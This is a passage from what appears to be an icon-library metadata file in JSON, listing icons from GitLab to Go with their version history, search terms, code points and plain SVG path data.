        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 592 512\"><path d=\"M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z\"/></svg>",
        "viewBox": [0, 0, 592, 512],
        "width": 592,
        "height": 512,
        "path": "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"
      }
    },
    "free": ["brands"]
  },
  "gitlab": {
    "changes": ["4.6.0", "5.0.0", "5.7.0", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["Axosoft"]
    },
    "styles": ["brands"],
    "unicode": "f296",
    "label": "GitLab",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.5 204.6L502.8 202.8L433.1 21.02C431.7 17.45 429.2 14.43 425.9 12.38C423.5 10.83 420.8 9.865 417.9 9.57C415 9.275 412.2 9.653 409.5 10.68C406.8 11.7 404.4 13.34 402.4 15.46C400.5 17.58 399.1 20.13 398.3 22.9L351.3 166.9H160.8L113.7 22.9C112.9 20.13 111.5 17.59 109.6 15.47C107.6 13.35 105.2 11.72 102.5 10.7C99.86 9.675 96.98 9.295 94.12 9.587C91.26 9.878 88.51 10.83 86.08 12.38C82.84 14.43 80.33 17.45 78.92 21.02L9.267 202.8L8.543 204.6C-1.484 230.8-2.72 259.6 5.023 286.6C12.77 313.5 29.07 337.3 51.47 354.2L51.74 354.4L52.33 354.8L158.3 434.3L210.9 474L242.9 498.2C246.6 500.1 251.2 502.5 255.9 502.5C260.6 502.5 265.2 500.1 268.9 498.2L300.9 474L353.5 434.3L460.2 354.4L460.5 354.1C482.9 337.2 499.2 313.5 506.1 286.6C514.7 259.6 513.5 230.8 503.5 204.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M503.5 204.6L502.8 202.8L433.1 21.02C431.7 17.45 429.2 14.43 425.9 12.38C423.5 10.83 420.8 9.865 417.9 9.57C415 9.275 412.2 9.653 409.5 10.68C406.8 11.7 404.4 13.34 402.4 15.46C400.5 17.58 399.1 20.13 398.3 22.9L351.3 166.9H160.8L113.7 22.9C112.9 20.13 111.5 17.59 109.6 15.47C107.6 13.35 105.2 11.72 102.5 10.7C99.86 9.675 96.98 9.295 94.12 9.587C91.26 9.878 88.51 10.83 86.08 12.38C82.84 14.43 80.33 17.45 78.92 21.02L9.267 202.8L8.543 204.6C-1.484 230.8-2.72 259.6 5.023 286.6C12.77 313.5 29.07 337.3 51.47 354.2L51.74 354.4L52.33 354.8L158.3 434.3L210.9 474L242.9 498.2C246.6 500.1 251.2 502.5 255.9 502.5C260.6 502.5 265.2 500.1 268.9 498.2L300.9 474L353.5 434.3L460.2 354.4L460.5 354.1C482.9 337.2 499.2 313.5 506.1 286.6C514.7 259.6 513.5 230.8 503.5 204.6z"
      }
    },
    "free": ["brands"]
  },
  "gitter": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f426",
    "label": "Gitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"
      }
    },
    "free": ["brands"]
  },
  "glass-water": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["potable", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4f4",
    "label": "Glass Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM73 156.5L66.4 64H317.6L311 156.5l-24.2 12.1c-19.4 9.7-42.2 9.7-61.6 0c-20.9-10.4-45.5-10.4-66.4 0c-19.4 9.7-42.2 9.7-61.6 0L73 156.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM73 156.5L66.4 64H317.6L311 156.5l-24.2 12.1c-19.4 9.7-42.2 9.7-61.6 0c-20.9-10.4-45.5-10.4-66.4 0c-19.4 9.7-42.2 9.7-61.6 0L73 156.5z"
      }
    },
    "free": ["solid"]
  },
  "glass-water-droplet": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["potable", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4f5",
    "label": "Glass Water Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM83 297.5L66.4 64H317.6L301 297.5 288 304c-20.1 10.1-43.9 10.1-64 0s-43.9-10.1-64 0s-43.9 10.1-64 0l-13-6.5zM256 196c0-24-33.7-70.1-52.2-93.5c-6.1-7.7-17.5-7.7-23.6 0C161.7 125.9 128 172 128 196c0 33.1 28.7 60 64 60s64-26.9 64-60z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM83 297.5L66.4 64H317.6L301 297.5 288 304c-20.1 10.1-43.9 10.1-64 0s-43.9-10.1-64 0s-43.9 10.1-64 0l-13-6.5zM256 196c0-24-33.7-70.1-52.2-93.5c-6.1-7.7-17.5-7.7-23.6 0C161.7 125.9 128 172 128 196c0 33.1 28.7 60 64 60s64-26.9 64-60z"
      }
    },
    "free": ["solid"]
  },
  "glasses": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f530"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hipster", "nerd", "reading", "sight", "spectacles", "vision"]
    },
    "styles": ["solid"],
    "unicode": "f530",
    "label": "Glasses",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M118.6 80c-11.5 0-21.4 7.9-24 19.1L57 260.3c20.5-6.2 48.3-12.3 78.7-12.3c32.3 0 61.8 6.9 82.8 13.5c10.6 3.3 19.3 6.7 25.4 9.2c3.1 1.3 5.5 2.4 7.3 3.2c.9 .4 1.6 .7 2.1 1l.6 .3 .2 .1 .1 0 0 0 0 0s0 0-6.3 12.7h0l6.3-12.7c5.8 2.9 10.4 7.3 13.5 12.7h40.6c3.1-5.3 7.7-9.8 13.5-12.7l6.3 12.7h0c-6.3-12.7-6.3-12.7-6.3-12.7l0 0 0 0 .1 0 .2-.1 .6-.3c.5-.2 1.2-.6 2.1-1c1.8-.8 4.2-1.9 7.3-3.2c6.1-2.6 14.8-5.9 25.4-9.2c21-6.6 50.4-13.5 82.8-13.5c30.4 0 58.2 6.1 78.7 12.3L481.4 99.1c-2.6-11.2-12.6-19.1-24-19.1c-3.1 0-6.2 .6-9.2 1.8L416.9 94.3c-12.3 4.9-26.3-1.1-31.2-13.4s1.1-26.3 13.4-31.2l31.3-12.5c8.6-3.4 17.7-5.2 27-5.2c33.8 0 63.1 23.3 70.8 56.2l43.9 188c1.7 7.3 2.9 14.7 3.5 22.1c.3 1.9 .5 3.8 .5 5.7v6.7V352v16c0 61.9-50.1 112-112 112H419.7c-59.4 0-108.5-46.4-111.8-105.8L306.6 352H269.4l-1.2 22.2C264.9 433.6 215.8 480 156.3 480H112C50.1 480 0 429.9 0 368V352 310.7 304c0-1.9 .2-3.8 .5-5.7c.6-7.4 1.8-14.8 3.5-22.1l43.9-188C55.5 55.3 84.8 32 118.6 32c9.2 0 18.4 1.8 27 5.2l31.3 12.5c12.3 4.9 18.3 18.9 13.4 31.2s-18.9 18.3-31.2 13.4L127.8 81.8c-2.9-1.2-6-1.8-9.2-1.8zM64 325.4V368c0 26.5 21.5 48 48 48h44.3c25.5 0 46.5-19.9 47.9-45.3l2.5-45.6c-2.3-.8-4.9-1.7-7.5-2.5c-17.2-5.4-39.9-10.5-63.6-10.5c-23.7 0-46.2 5.1-63.2 10.5c-3.1 1-5.9 1.9-8.5 2.9zM512 368V325.4c-2.6-.9-5.5-1.9-8.5-2.9c-17-5.4-39.5-10.5-63.2-10.5c-23.7 0-46.4 5.1-63.6 10.5c-2.7 .8-5.2 1.7-7.5 2.5l2.5 45.6c1.4 25.4 22.5 45.3 47.9 45.3H464c26.5 0 48-21.5 48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M118.6 80c-11.5 0-21.4 7.9-24 19.1L57 260.3c20.5-6.2 48.3-12.3 78.7-12.3c32.3 0 61.8 6.9 82.8 13.5c10.6 3.3 19.3 6.7 25.4 9.2c3.1 1.3 5.5 2.4 7.3 3.2c.9 .4 1.6 .7 2.1 1l.6 .3 .2 .1 .1 0 0 0 0 0s0 0-6.3 12.7h0l6.3-12.7c5.8 2.9 10.4 7.3 13.5 12.7h40.6c3.1-5.3 7.7-9.8 13.5-12.7l6.3 12.7h0c-6.3-12.7-6.3-12.7-6.3-12.7l0 0 0 0 .1 0 .2-.1 .6-.3c.5-.2 1.2-.6 2.1-1c1.8-.8 4.2-1.9 7.3-3.2c6.1-2.6 14.8-5.9 25.4-9.2c21-6.6 50.4-13.5 82.8-13.5c30.4 0 58.2 6.1 78.7 12.3L481.4 99.1c-2.6-11.2-12.6-19.1-24-19.1c-3.1 0-6.2 .6-9.2 1.8L416.9 94.3c-12.3 4.9-26.3-1.1-31.2-13.4s1.1-26.3 13.4-31.2l31.3-12.5c8.6-3.4 17.7-5.2 27-5.2c33.8 0 63.1 23.3 70.8 56.2l43.9 188c1.7 7.3 2.9 14.7 3.5 22.1c.3 1.9 .5 3.8 .5 5.7v6.7V352v16c0 61.9-50.1 112-112 112H419.7c-59.4 0-108.5-46.4-111.8-105.8L306.6 352H269.4l-1.2 22.2C264.9 433.6 215.8 480 156.3 480H112C50.1 480 0 429.9 0 368V352 310.7 304c0-1.9 .2-3.8 .5-5.7c.6-7.4 1.8-14.8 3.5-22.1l43.9-188C55.5 55.3 84.8 32 118.6 32c9.2 0 18.4 1.8 27 5.2l31.3 12.5c12.3 4.9 18.3 18.9 13.4 31.2s-18.9 18.3-31.2 13.4L127.8 81.8c-2.9-1.2-6-1.8-9.2-1.8zM64 325.4V368c0 26.5 21.5 48 48 48h44.3c25.5 0 46.5-19.9 47.9-45.3l2.5-45.6c-2.3-.8-4.9-1.7-7.5-2.5c-17.2-5.4-39.9-10.5-63.6-10.5c-23.7 0-46.2 5.1-63.2 10.5c-3.1 1-5.9 1.9-8.5 2.9zM512 368V325.4c-2.6-.9-5.5-1.9-8.5-2.9c-17-5.4-39.5-10.5-63.2-10.5c-23.7 0-46.4 5.1-63.6 10.5c-2.7 .8-5.2 1.7-7.5 2.5l2.5 45.6c1.4 25.4 22.5 45.3 47.9 45.3H464c26.5 0 48-21.5 48-48z"
      }
    },
    "free": ["solid"]
  },
  "glide": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a5",
    "label": "Glide",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"
      }
    },
    "free": ["brands"]
  },
  "glide-g": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a6",
    "label": "Glide G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"
      }
    },
    "free": ["brands"]
  },
  "globe": {
    "aliases": {
      "unicodes": {
        "composite": ["1f310"],
        "secondary": ["10f0ac"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.9",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "coordinates",
        "country",
        "earth",
        "global",
        "globe",
        "globe with meridians",
        "gps",
        "internet",
        "language",
        "localize",
        "location",
        "map",
        "meridians",
        "network",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ac",
    "label": "Globe",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 256c0 22.2-1.2 43.6-3.3 64H163.3c-2.2-20.4-3.3-41.8-3.3-64s1.2-43.6 3.3-64H348.7c2.2 20.4 3.3 41.8 3.3 64zm28.8-64H503.9c5.3 20.5 8.1 41.9 8.1 64s-2.8 43.5-8.1 64H380.8c2.1-20.6 3.2-42 3.2-64s-1.1-43.4-3.2-64zm112.6-32H376.7c-10-63.9-29.8-117.4-55.3-151.6c78.3 20.7 142 77.5 171.9 151.6zm-149.1 0H167.7c6.1-36.4 15.5-68.6 27-94.7c10.5-23.6 22.2-40.7 33.5-51.5C239.4 3.2 248.7 0 256 0s16.6 3.2 27.8 13.8c11.3 10.8 23 27.9 33.5 51.5c11.6 26 20.9 58.2 27 94.7zm-209 0H18.6C48.6 85.9 112.2 29.1 190.6 8.4C165.1 42.6 145.3 96.1 135.3 160zM8.1 192H131.2c-2.1 20.6-3.2 42-3.2 64s1.1 43.4 3.2 64H8.1C2.8 299.5 0 278.1 0 256s2.8-43.5 8.1-64zM194.7 446.6c-11.6-26-20.9-58.2-27-94.6H344.3c-6.1 36.4-15.5 68.6-27 94.6c-10.5 23.6-22.2 40.7-33.5 51.5C272.6 508.8 263.3 512 256 512s-16.6-3.2-27.8-13.8c-11.3-10.8-23-27.9-33.5-51.5zM135.3 352c10 63.9 29.8 117.4 55.3 151.6C112.2 482.9 48.6 426.1 18.6 352H135.3zm358.1 0c-30 74.1-93.6 130.9-171.9 151.6c25.5-34.2 45.2-87.7 55.3-151.6H493.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 256c0 22.2-1.2 43.6-3.3 64H163.3c-2.2-20.4-3.3-41.8-3.3-64s1.2-43.6 3.3-64H348.7c2.2 20.4 3.3 41.8 3.3 64zm28.8-64H503.9c5.3 20.5 8.1 41.9 8.1 64s-2.8 43.5-8.1 64H380.8c2.1-20.6 3.2-42 3.2-64s-1.1-43.4-3.2-64zm112.6-32H376.7c-10-63.9-29.8-117.4-55.3-151.6c78.3 20.7 142 77.5 171.9 151.6zm-149.1 0H167.7c6.1-36.4 15.5-68.6 27-94.7c10.5-23.6 22.2-40.7 33.5-51.5C239.4 3.2 248.7 0 256 0s16.6 3.2 27.8 13.8c11.3 10.8 23 27.9 33.5 51.5c11.6 26 20.9 58.2 27 94.7zm-209 0H18.6C48.6 85.9 112.2 29.1 190.6 8.4C165.1 42.6 145.3 96.1 135.3 160zM8.1 192H131.2c-2.1 20.6-3.2 42-3.2 64s1.1 43.4 3.2 64H8.1C2.8 299.5 0 278.1 0 256s2.8-43.5 8.1-64zM194.7 446.6c-11.6-26-20.9-58.2-27-94.6H344.3c-6.1 36.4-15.5 68.6-27 94.6c-10.5 23.6-22.2 40.7-33.5 51.5C272.6 508.8 263.3 512 256 512s-16.6-3.2-27.8-13.8c-11.3-10.8-23-27.9-33.5-51.5zM135.3 352c10 63.9 29.8 117.4 55.3 151.6C112.2 482.9 48.6 426.1 18.6 352H135.3zm358.1 0c-30 74.1-93.6 130.9-171.9 151.6c25.5-34.2 45.2-87.7 55.3-151.6H493.4z"
      }
    },
    "free": ["solid"]
  },
  "gofore": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a7",
    "label": "Gofore",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z\"/></svg>",
        "viewBox": [0, 0, 400, 512],
        "width": 400,
        "height": 512,
        "path": "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"
      }
    },
    "free": ["brands"]
  },
  "golang": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e40f",
    "label": "Go",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400.1 194.8C389.2 197.6 380.2 199.1 371 202.4C363.7 204.3 356.3 206.3 347.8 208.5L347.2 208.6C343 209.8 342.6 209.9 338.7 205.4C334 200.1 330.6 196.7 324.1 193.5C304.4 183.9 285.4 186.7 267.7 198.2C246.5 211.9 235.6 232.2 235.9 257.4C236.2 282.4 253.3 302.9 277.1 306.3C299.1 309.1 316.9 301.7 330.9 285.8C333 283.2 334.9 280.5 337 277.5V277.5L337 277.5C337.8 276.5 338.5 275.4 339.3 274.2H279.2C272.7 274.2 271.1 270.2 273.3 264.9C277.3 255.2 284.8 239 289.2 230.9C290.1 229.1 292.3 225.1 296.1 225.1H397.2C401.7 211.7 409 198.2 418.8 185.4C441.5 155.5 468.1 139.9 506 133.4C537.8 127.8 567.7 130.9 594.9 149.3C619.5 166.1 634.7 188.9 638.8 218.8C644.1 260.9 631.9 295.1 602.1 324.4C582.4 345.3 557.2 358.4 528.2 364.3C522.6 365.3 517.1 365.8 511.7 366.3C508.8 366.5 506 366.8 503.2 367.1C474.9 366.5 449 358.4 427.2 339.7C411.9 326.4 401.3 310.1 396.1 291.2C392.4 298.5 388.1 305.6 382.1 312.3C360.5 341.9 331.2 360.3 294.2 365.2C263.6 369.3 235.3 363.4 210.3 344.7C187.3 327.2 174.2 304.2 170.8 275.5C166.7 241.5 176.7 210.1 197.2 184.2C219.4 155.2 248.7 136.8 284.5 130.3C313.8 124.1 341.8 128.4 367.1 145.6C383.6 156.5 395.4 171.4 403.2 189.5C405.1 192.3 403.8 193.9 400.1 194.8zM48.3 200.4C47.05 200.4 46.74 199.8 47.36 198.8L53.91 